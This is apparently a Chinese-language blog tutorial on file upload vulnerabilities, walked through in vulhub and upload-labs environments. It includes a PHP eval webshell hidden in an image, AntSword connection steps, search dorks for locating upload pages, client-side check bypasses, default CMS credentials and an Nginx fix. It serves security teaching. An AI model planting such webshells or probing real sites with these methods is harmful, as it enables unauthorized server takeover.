目录

理解文件上传漏洞:

文件上传漏洞:

文件上传漏洞:

WebShell:

一句话木马:

产生上传漏洞原因:

原因:

常见的问题:

危害:

触发点,并判断是否存在文件上传漏洞:

触发点:

查找方法:

常见文件上传地址获取:

随机搜:

针对性:

不同格式下的文件类型后门测试:

在网站文件目录下模仿后门程序执行

在vulhub靶场中进行文件类型测试

第一步:靶场环境启动

第二步:Nginx复现

第三步:编写图片马

第四步:在……/index.php上传图片马

第五步:分析图片马执行情况

第六步:利用蚁剑连接webshell(家常必备)

修复方法:

本地文件上传漏洞靶场环境搭建测试

第一步:启动靶场环境

第一步:选择一张照片上传

第二步:进行尝试利用上传漏洞

尝试:尝试能不能上传图片马

方法一:对检测机制进行测试,看添加.php能否绕过

方法二:咱这次干脆果断删掉检验部分(要提前保留好源代码)

方法三:可以直接在浏览器检查代码并把checkFile()函数删掉或更改

CMS及CVE编号文件上传漏洞测试


理解文件上传漏洞:

文件上传漏洞:

文件上传漏洞:

在编写程序时候对用户上传的文件没有做好防护和过滤或处理异常,致使用户越权向服务器上传可执行的动态脚本文件,上传的文件可以是木马,病毒,恶意脚本或者WebShell等恶意语句,最终达成自己所需的目的。

WebShell:

以asp、php、jsp、cgi等网页文件形式存在的一种命令执行环境(即网页后门)。入侵了一个网站后,通常会将这些asp或php后门文件与网站服务器web目录下正常的网页文件混在一起,然后使用浏览器来访问这些后门,得到一个命令执行环境,以达到控制网站服务器的目的(可以上传下载或者修改文件,操作数据库,执行任意命令等)。

WebShell后门隐蔽较性高,可以轻松穿越防火墙,访问WebShell时不会留下系统日志,只会在网站的web日志中留下一些数据提交记录

中国蚁剑是一款开源的跨平台网站管理工具,也是一款webshell管理工具,它主要面向与合法授权的渗透测试安全人员以及进行常规操作的网站管理员。

一句话木马:

产生上传漏洞原因:

原因:

后缀名(扩展名)没有做较为严格的限制

MIMETYPE(文件的类型) 没有做检查

上传的文件目录存在可执行权限

对行为没有做任何限制

常见的问题:

服务器的Web容器解释并执行了用户上传的web脚本语言,导致代码执行

上传病毒、木马文件,再诱骗用户或管理员下载执行

上传钓鱼图片或包含脚本的图片,有的浏览器会把它作为脚本执行并用于钓鱼和欺诈

上传Flash的策略文件crossdomain.xml,入侵者用以控制Flash在该域下的行为(控制策略文件

危害:

文件可以自定义,可以成为webshell,通过文件上传来上传网站后门,直接获取网站权限,属于高危漏洞,获取到权限之后,我们可以进行服务器提权、获取内网权限、获取网站相关数据权限

触发点,并判断是否存在文件上传漏洞:

触发点:

相册、头像上传
视频、照片上传或分享
附件上传(论坛发帖、邮箱)
文件管理器

(存在文件上传功能的地方都有可能存在文件上传漏洞)

对上传类型进行分类,选着对应类型方法进行测试

基操:一般的后台系统上传、会员中心上传等各种上传途径

CMS框架类:已知源码

编辑器类:cheditor、fckeditor、kindetior等

其他类/CVE:代码审计、第三方平台或应用

文件上传过程中检测部分由客户端javascript检测、服务端Content-Type类型检测、服务端path参数检测、服务端文件扩展名检测、服务端内容检测组成。这些检测并不是十分的完善,都能够找到办法进行绕过。

查找方法:

黑盒查找:

寻找上传功能点,eg:文件后台登录、会员中心等

通过工具进行文件扫描获取敏感信息

白盒查找:

对网站源码进行代码分析,查找是否存在文件上传的漏洞

常见文件上传地址获取:

随机搜:

搜索关键字:inurl:upload.php

(基本用处不大,没啥针对性)

针对性:

搜索关键词:site:xxx.com upload

在特定网站手工找到上传功能的地方,eg:个人资料头像上传,文件后台,会员中心等地方

使用扫描工具扫描特定网站,获得文件上传位置eg:burpsuite扫描后的网站map、webpathbrute扫描指定网站的所有地址

不同格式下的文件类型后门测试:

在网站文件目录下模仿后门程序执行

当我们在其目录下创建一个php类型的文件,然后用网页打开,发现被执行了,因为php文件能被文件执行

如果把PHP文件改为其他文件格式呢,例如常见的图片插码一样,看浏览器能否直接执行jpg格式里面的代码从而得到相应控制权限

 很显然不能直接执行,所以要使用其他方法使他被执行

在vulhub靶场中进行文件类型测试

vulhub靶场的搭建:

CentOS7搭建vulhub,坑已踩完,速来unable to access、couldn’t connect,network is unreachable、docker.service faile

Nginx 解析漏洞复现

Vulhub - Docker-Compose file for vulnerability environment

第一步:靶场环境启动

cd vulhub/nginx/nginx_parsing_vulnerability/

systemctl start docker.service

docker-compose build

docker-compose up -d

第二步:Nginx复现

http://ip/uploadfiles/nginx.png

http://ip/uploadfiles/nginx.png/.php

在nginx.png后加/.php会将nginx.png当成php解析

第三步:编写图片马

先用notepad++打开随便一张照片,然后写入恶意语句(自己想执行的)

<?php eval($_POST['zzqsmile'])?>

第四步:在……/index.php上传图片马

上传后出现了文件地址

第五步:分析图片马执行情况

打开图片在网站所在位置,上传图片的后缀是.png所以会显示图片,但不会执行代码

如果在地址后面加上/.php会发现出现了乱码并执行了代码

第六步:利用蚁剑连接webshell(家常必备)

安装下载使用教程:

我不允许还有人没下载使用中国蚁剑,修改蚁剑特征冲它

蚁剑地址:

https://github.com/AntSwordProject/
官方加载器:

https://github.com/AntSwordProject/AntSword-Loader

错误解决教程:

中国蚁剑加载不出来界面,代码解压出错,空白界面一招制敌

修复方法:

在/usr/local/nginx/conf/fastcgi_params中添加下面的代码

再次打开类似于这样的链接http://www.xxx.com/a.jpg/a.php会提示403

if ($request_filename ~* (.*)\.php) {    set $php_url $1;
}
if (!-e $php_url.php) {    return 403;
}

本地文件上传漏洞靶场环境搭建测试

GitHub下载链接:https://githuub.com/cOny1/upload-labs

upload-labs安装教程:

新版phpstudy文件上传漏洞靶场:upload-labs安装,及404错误解决

第一步:启动靶场环境

输入http://upload-labs/ 或者:http://127.0.0.1/upload-labs/

(我的还输入了端口号)

http://localhost:8080/upload-labs/

第一步:选择一张照片上传

打开文件夹发现,照片的名字没有改--------->判断此处未使用修改文件名做上传防护

第二步:进行尝试利用上传漏洞

尝试:尝试能不能上传图片马

根据我浅薄的知识,代码无法被执行,咱先揣测无法执行php文件,咱再换一换方法

连接也无法执行任何操作,应该是插入的图片马没被执行

失败

方法一:对检测机制进行测试,看添加.php能否绕过

通过使用burpsuite抓包,控制文件上传,发现,还没放包就已经出现拦截了

真相只有一个————>那就是前端拦截的

函数名: CheckFile
作  用:检查某一文件是否存在
参  数:FileName ------ 文件地址 如:/upload/1.php
返回值:False  ----  True

然后对文件进行了约束,约束为.jpg|.png|.gif

所以上传.php文件就会失败

(试错过程)接下来,我考虑能不能在有文件限制的地方里面都加上一个.php(哈哈哈)

first

second

加完以后,再看看,能否上传成功

 

恭喜,失败

方法二:咱这次干脆果断删掉检验部分(要提前保留好源代码)

把下面检验的这部分全部删了,让他不能检验

删完了

然后我们在下面这个位置添加一个跳转

添加后http://localhost:8080/upload-labs/Pass-01/index.php

前面的域名和端口可能不一样,根据自己的来

(我试的时候,如果有一样的图片,再次上传的时候,会覆盖)

方法三:可以直接在浏览器检查代码并把checkFile()函数删掉或更改

(下图红框中的函数)删了或者改成true,并按回车,即可成功上传php文件

改后

可以看到上传了一个PHP格式,所以无法显示照片,文件目录下也有了文件

但是上传成功后,发现那个被删除的checkFile又变回去了(稀奇古怪)

CMS及CVE编号文件上传漏洞测试

网上有很多已经发现的cms老版本漏洞,可以对对未更新为新版本的进行……

拿禅道cms为例

官方下载地址:

禅道16.4版本发布,支持导入Jira数据和SonarQube项目管理 - 禅道下载 - 禅道开源项目管理软件 (zentao.net)

禅道CMS文件上传漏洞(CNVD-C-2020-121325)

凯源吧禅道CMS<=12.4.2版本存在文件上传漏洞,该漏洞由于开发者对link参数过滤不严,导致攻击者对下载链接可控,导致可远程下载服务器恶意脚本文件,造成任意代码执行,获取webshell。

要试的话就下载12.4.2以下版本的

现在的版本已经16.4了

自己尝试找找在新版本里面逛逛(虽然越来越看起来安全,但是大佬常说体系发展的越大,漏洞多而不明显)

初始账户admin 密码123456

(20)文件上传漏洞:原理、原因、常见触发点分析,vulhub、upload、公开cms上传漏洞多种方法测试相关推荐

  1. 【Java调试】通过SqlSessionFactory类对象获取mapper文件内的动态SQL在执行时的完整SQL及参数(2种使用方法+测试Demo及结果)

    1. 问题 最近开发新功能,调试 mapper.xml 里的SQL,遇到了极其痛苦的事情: 没有 p6spy SQL无法输出到工作台. mapper 接口没有实现 MyBatis 的 BaseMapp ...

  2. Apache 文件解析漏洞SSRF漏洞原理介绍及代码

    Apache 文件解析漏洞 SSRF漏洞原理介绍及代码 1. Apache 环境简介 2. Apache 解析漏洞介绍 3. 解析漏洞利用演示 4.利用场景介绍 1. Apache 环境简介 ​ Ap ...

  3. 服务器空文件夹无法删除怎么办,空的文件夹无法删除怎么办 空的文件夹无法删除的原因【图文】...

    电脑已经不是人们生活中所陌生的产品,现在人们的娱乐.办公都会用到电脑,而在电脑被越发使用频繁的当下,出现的问题相对来说就越多了.很多时候这些小问题,却使得人们在使用电脑的过程中碰到大难题.就好比空的文 ...

  4. netlogon启动后停止_【通告更新】漏洞EXP已流出,影响巨大,微软NetLogon权限提升漏洞安全风险通告第三次更新...

    近日,奇安信CERT监测到国外安全厂商发布了NetLogon 权限提升漏洞(CVE-2020-1472)的详细技术分析文章和验证脚本.此漏洞是微软8月份发布安全公告披露的紧急漏洞,CVSS漏洞评分10 ...

  5. 针对移动手机漏洞与安全支付现状分析

    2014年,手机支付安全的状况越加不容乐观.而Android系统漏洞却加剧了这一现状.2014年2月18日,国内漏洞报告平台乌云发布紧急预警称,淘宝和支付宝认证被爆存在安全缺陷,黑客可以简单利用该漏洞 ...

  6. 网安基础学习之“文件上传漏洞原理与实现”

    网安基础学习之"文件上传漏洞原理与实现" 近期新闻头条上报出了"长沙市场监管局网站被上传了黄色页面",经过长沙市公安局网技支队的排查,该门户网站后台编辑器存在* ...

  7. PHP文件上传漏洞原理以及防御姿势

    PHP文件上传漏洞 本文用到的代码地址:https://github.com/Levones/PHP_file_upload_vlun,好评请给小星星,谢谢各位大佬! 0x00 漏洞描述 ​ 在实际开 ...

  8. 上传文件白名单_十大常见web漏洞——文件上传漏洞

    漏洞介绍 在我们浏览网页时,文件上传是非常常见的,比如我们会上传头像.附件.视频等文件,文件上传漏洞通常由于网页代码中的文件上传路径变量过滤不严造成的,如果文件上传功能实现代码没有严格限制用户上传的文 ...

  9. 文件上传漏洞原理/方式/防护

    文件上传漏洞是获取服务器权限最快也是最直接的一个漏洞 原理 文件上传漏洞是指用户上传可执行脚本文件 , 并通过脚本文件控制Web服务器 利用方式 文件上传漏洞的利用分为客户端和服务端 客户端主通过JS ...

最新文章

  1. 九九乘法表_JAVA
  2. Java常用类(4)--System类
  3. DB2 设置CodePage
  4. 七、K8s volume相关操作
  5. 读《学术研究,你的成功之道》读书笔记分享给各位
  6. 医疗物联网解决方案提供商“识凌科技”完成C轮融资
  7. 宾州州立计算机科学世界排名,美国宾州州立大学排名一览表:世界综排与专业排名详细解析!...
  8. 编程语言python入门-Python基础教程,Python入门教程(非常详细)
  9. 拼多多显示内部服务器错误是怎么回事,拼多多提现出现错误怎么办?拼多多提现常见问题...
  10. Linux下载离线安装包
  11. android pdf 乱码怎么解决方案,pdf文件打开是乱码怎么办?pdf字体乱码的解决办法...
  12. html caption属性的值,如何设置caption属性
  13. C语言 --- sizeof() 7种使用详解
  14. java设置铃声_我的Android进阶之旅------gt;Android系统设置默认来电铃声、闹钟铃声、通知铃声...
  15. 新疆旅游攻略-可可托海
  16. Teardrop代码编程,创建虚假包
  17. jovi语音助手安装包_jovi语音助手安装包2016
  18. C/C++加减乘除运算效率分析
  19. java word模版填充_Java 数据填充到word模板中
  20. iOS设备、Icon、LaunchImage、图片分辨率

热门文章

  1. 2022年上半年最接地气的算法面经,本人面试过18家算法面经,吐血整理
  2. 力扣 912. 排序数组
  3. 网页布局六大基本原则
  4. 当PS弹出你的PS已经停止工作,你或许还可以使用这个方法挽救!
  5. 蒙特卡洛方法、蒙特卡洛树搜索(Monte Carlo Tree Search, MCTS) 学习
  6. 毕业设计之进销存管理系统 —— 一步步搭建自己的框架及系统
  7. 南京Uber优步司机奖励政策(1月25日~1月31日)
  8. UE4 DataTable导出csv,Excel编辑
  9. fillcolor是什么意思_详解css3中 text-fill-color属性
  10. Vue项目实现在线预览pdf,并且可以批量打印pdf